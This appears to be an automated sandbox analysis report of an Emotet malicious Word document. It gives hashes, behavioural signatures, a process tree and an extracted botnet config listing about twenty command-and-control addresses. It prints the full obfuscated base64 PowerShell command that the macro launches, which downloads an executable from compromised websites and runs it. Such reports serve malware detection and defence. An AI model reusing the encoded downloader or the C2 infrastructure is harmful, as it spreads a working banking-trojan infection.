Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    104s
  • max time network
    110s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    19/10/2020, 14:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_3cc91108bd9d95f641996cfbde558f3ef6f6e02cd25106217a2d6dfab9da1f30_2020-10-19__140331132149._doc.doc
  • Size 154KB
  • Sample201019-nq3a3ggbee
  • SHA256 3cc91108bd9d95f641996cfbde558f3ef6f6e02cd25106217a2d6dfab9da1f30
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 173.63.117.194:80

  • 212.71.250.88:8080

  • 167.114.153.111:8080

  • 118.83.154.64:443

  • 5.39.91.110:7080

  • 5.196.74.210:8080

  • 174.45.13.118:80

  • 5.196.108.189:8080

  • 85.25.106.204:8080

  • 89.216.122.92:80

  • 142.112.10.95:20

  • 110.145.77.103:80

  • 37.139.21.175:8080

  • 62.30.7.67:443

  • 209.54.13.14:80

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 113.61.66.94:80

  • 162.241.242.173:8080

  • 49.3.224.99:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3cc91108bd9d95f641996cfbde558f3ef6f6e02cd25106217a2d6dfab9da1f30_2020-10-19__140331132149._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1332
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAFMAZQB0AC0AaQBUAGUATQAgACAAKAAnAHYAQQByAEkAJwArACcAQQBiACcAKwAnAGwAJwArACcAZQA6AFYAMgBvACcAKQAgACAAKABbAHQAWQBwAGUAXQAoACcAcwBZAFMAVABFAE0ALgBpAG8AJwArACcALgBkAGkAJwArACcAUgBlAGMAJwArACcAVABvAFIAeQAnACkAKQA7ACAAJAAwADUARABiACAAPQAgAFsAdABZAHAARQBdACgAJwBzAFkAUwAnACsAJwB0AEUAJwArACcATQAuACcAKwAnAE4ARQBUAC4AJwArACcAcwBFAHIAdgAnACsAJwBpAGMARQBwAE8AaQBuACcAKwAnAFQAJwArACcATQBBAG4AYQBHACcAKwAnAEUAcgAnACkAIAA7ACAAUwBFAHQALQBJAFQAZQBtACAAIABWAGEAUgBJAEEAYgBsAGUAOgAxAEYAOQB4AFEAcAAgACAAKAAgAFsAdABZAFAAZQBdACgAJwBTAFkAUwAnACsAJwB0AEUAbQAuACcAKwAnAG4ARQB0AC4AJwArACcAcwBlAEMAVQBSAGkAVAAnACsAJwBZAFAAJwArACcAUgBvAHQAJwArACcATwBDAG8ATAB0AFkAJwArACcAcABlACcAKQApACAAOwAgACQATABpAGMAZABqAHAAMgA9ACgAJwBEAGkAJwArACcAMQBsAHQAMQBpACcAKQA7ACQAQQBzAGEAcQA2AHoAMwA9ACQARgBkAGwAdQBwAG4ANgAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEoAOABnAGIAZQBxAGwAOwAkAE4AYQBfAHcAdwB5AGUAPQAoACcAVwBvAF8ANAB1ACcAKwAnAHMAaAAnACkAOwAgACAAJABWADIATwA6ADoAQwByAEUAYQB0AEUARABpAHIARQBDAFQATwByAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHYAdwBrACcAKwAnAEEAdwAnACsAJwBjAGUAYgBrADUAdgAnACsAJwB3AGsAJwArACcAWQBiADkAMQAxAGsAXwB2ACcAKwAnAHcAawAnACkALQBjAHIARQBwAGwAQQBjAGUAIAAoAFsAQwBIAGEAUgBdADEAMQA4ACsAWwBDAEgAYQBSAF0AMQAxADkAKwBbAEMASABhAFIAXQAxADAANwApACwAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQAVQB1AHMAdwBfAHEAdgA9ACgAJwBLAGEAMQAnACsAJwBtAGoAegB1ACcAKQA7ACAAKAAgAGcAZQBUAC0AYwBoAGkATABkAEkAVABlAG0AIAAgACgAJwBWAGEAcgAnACsAJwBJAEEAJwArACcAYgAnACsAJwBsAGUAJwArACcAOgAwADUAZABiACcAKQAgACkALgB2AGEATABVAGUAOgA6AHMARQBjAHUAUgBpAHQAeQBwAFIAbwB0AE8AQwBPAGwAIAA9ACAAIAAgACQAMQBGADkAWABRAHAAOgA6AFQAbABTADEAMgA7ACQAWABhADQAcwAyAHcAMgA9ACgAJwBaACcAKwAnADEAegBhAG4AYgB0ACcAKQA7ACQASQBoAHgAZgBjAGIAZwAgAD0AIAAoACcAUwA5ACcAKwAnAGoAdQAwAHoAJwArACcAMgBjAHAAJwApADsAJABGAHYAMAAzAG0AZwA1AD0AKAAnAFgAdQB6ADEAcwAnACsAJwBnADQAJwApADsAJABRAGoAMwB1ADIAbgBzAD0AKAAnAFEAbABxAGEAJwArACcAMQBpAGoAJwApADsAJABCAF8AcgBsAGYAcgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGwAcgBVAEEAdwAnACsAJwBjACcAKwAnAGUAJwArACcAYgBrADUAJwArACcAbAByAFUAWQBiACcAKwAnADkAMQAxAGsAJwArACcAXwBsAHIAVQAnACkALgByAGUAUABMAEEAQwBFACgAKABbAGMAaABhAHIAXQAxADAAOAArAFsAYwBoAGEAcgBdADEAMQA0ACsAWwBjAGgAYQByAF0AOAA1ACkALAAnAFwAJwApACkAKwAkAEkAaAB4AGYAYwBiAGcAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEIANgBvAGYAdwBpAG8APQAoACcARQBjAGYAJwArACcAXwBnACcAKwAnAF8AcQAnACkAOwAkAEcAZQBlAF8AMQBoAHcAPQBOAEUAdwBgAC0AbwBiAGoAZQBgAGMAVAAgAE4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAFQAOwAkAE0AMABlAHAAbAA4AHUAPQAoACcAaAAnACsAJwB0AHQAcABzACcAKwAnADoALwAvAHoAJwArACcAYQBtAGkAbgBkAGEAcgBzAG8AbgBzACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACcALwB3AHAALQBjAG8AbgB0ACcAKwAnAGUAJwArACcAbgAnACsAJwB0AC8AdgA3AFQAJwArACcAawAnACsAJwAvACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoALwAvAHAAaAB5AHMAaQBjAGkAYQBuAG0AJwArACcAZQBkAGkAYwAnACsAJwBhAGwALQAnACsAJwBsAGUAZwAnACsAJwBhAGwAYwBvAG4AJwArACcAcwB1ACcAKwAnAGwAdABpAG4AZwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAvAHAAawAwAG0ATwBMADkALwAqACcAKwAnAGgAdAB0AHAAcwAnACsAJwA6AC8ALwBzACcAKwAnAGgAbwAnACsAJwBlAHMAZABlAHMAaQBnAG4AJwArACcALgBuAGUAJwArACcAdAAnACsAJwAvAHcAcAAtACcAKwAnAGkAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAvACcAKwAnADUAVABWADMAQQBTAC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAHQAZQByACcAKwAnAHIAaQBhAGYAaQB0ACcAKwAnAC4AYwBvAG0ALwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8ANgBqAC8AJwArACcAKgBoAHQAdABwADoALwAvADEAMwBkACcAKwAnAGkAZwBpAC4AbgBlAHQALwAnACsAJwB3AHAAJwArACcALQBhAGQAbQAnACsAJwBpAG4ALwBqAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAGkAcwBwAGkAbgA4ADgALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAEIATABqACcAKwAnADEANAAnACsAJwA5AC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoAJwArACcALwAvAHAAcwBrAGgAOAA4ADgALgAnACsAJwBjAG8AbQAvAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAvAHcALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AYgBlAHIAagBhAHkAYQAnACsAJwA4ADgAJwArACcALgBuAGUAdAAvAHcAcAAtAGEAZABtAGkAbgAvAFgAMgBUAEIAYwAyAGwAJwArACcALwAnACkALgBTAHAAbABJAFQAKAAkAFQAYQBjAHIAbAA3AGYAIAArACAAJABBAHMAYQBxADYAegAzACAAKwAgACQAQwBkAGUAYQAxADUAdgApADsAJABIADAAeAB4ADQAeABsAD0AKAAnAFcAJwArACcAagBvAHoAaAB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABTAGwAawAyADUAdABmACAAaQBuACAAJABNADAAZQBwAGwAOAB1ACkAewB0AHIAeQB7ACQARwBlAGUAXwAxAGgAdwAuAEQATwB3AG4AbABvAEEAZABGAGkAbABFACgAJABTAGwAawAyADUAdABmACwAIAAkAEIAXwByAGwAZgByAHMAKQA7ACQAVwBuAGoAegBmADQAcAA9ACgAJwBTAHQAYwBzAGQAJwArACcAbgAzACcAKQA7AEkAZgAgACgAKABnAEUAYABUAGAALQBpAFQAZQBtACAAJABCAF8AcgBsAGYAcgBzACkALgBsAEUAbgBnAHQASAAgAC0AZwBlACAAMgA5ADMAMwAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwBpAG4AMwAyAF8AUAByACcAKwAnAG8AYwBlAHMAJwArACcAcwAnACkAKQAuAEMAUgBlAGEAdABlACgAJABCAF8AcgBsAGYAcgBzACkAOwAkAE0AegBoAG4ANABrAGQAPQAoACcAUQB3AGIAcwByAHkAJwArACcAdgAnACkAOwBiAHIAZQBhAGsAOwAkAE0AZgBuAHUANwB0AHIAPQAoACcATAA4AGoAdgA1ACcAKwAnAGwAcwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAaAAyADUAcQBsAGMAPQAoACcARQAnACsAJwBfAHMAaABuADEAagAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1628
  • C:\Users\Admin\Awcebk5\Yb911k_\S9ju0z2cp.exe
    C:\Users\Admin\Awcebk5\Yb911k_\S9ju0z2cp.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Windows\SysWOW64\ipsmsnap\ksuser.exe
      "C:\Windows\SysWOW64\ipsmsnap\ksuser.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1760

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/948-26-0x000007FEF83B0000-0x000007FEF862A000-memory.dmp
        Download

        memory/1332-2-0x0000000008AA0000-0x0000000008AA4000-memory.dmp
        Download

        memory/1332-4-0x0000000006D90000-0x0000000006F90000-memory.dmp
        Download

        memory/1628-13-0x000000001B970000-0x000000001B971000-memory.dmp
        Download

        memory/1628-12-0x000000001B8E0000-0x000000001B8E1000-memory.dmp
        Download

        memory/1628-11-0x00000000024B0000-0x00000000024B1000-memory.dmp
        Download

        memory/1628-10-0x00000000026E0000-0x00000000026E1000-memory.dmp
        Download

        memory/1628-9-0x000000001AAE0000-0x000000001AAE1000-memory.dmp
        Download

        memory/1628-8-0x00000000022E0000-0x00000000022E1000-memory.dmp
        Download

        memory/1628-7-0x000007FEEA720000-0x000007FEEB10C000-memory.dmp
        Download

        memory/1760-25-0x00000000002C0000-0x00000000002D0000-memory.dmp
        Download

        memory/1776-18-0x0000000000270000-0x0000000000280000-memory.dmp
        Download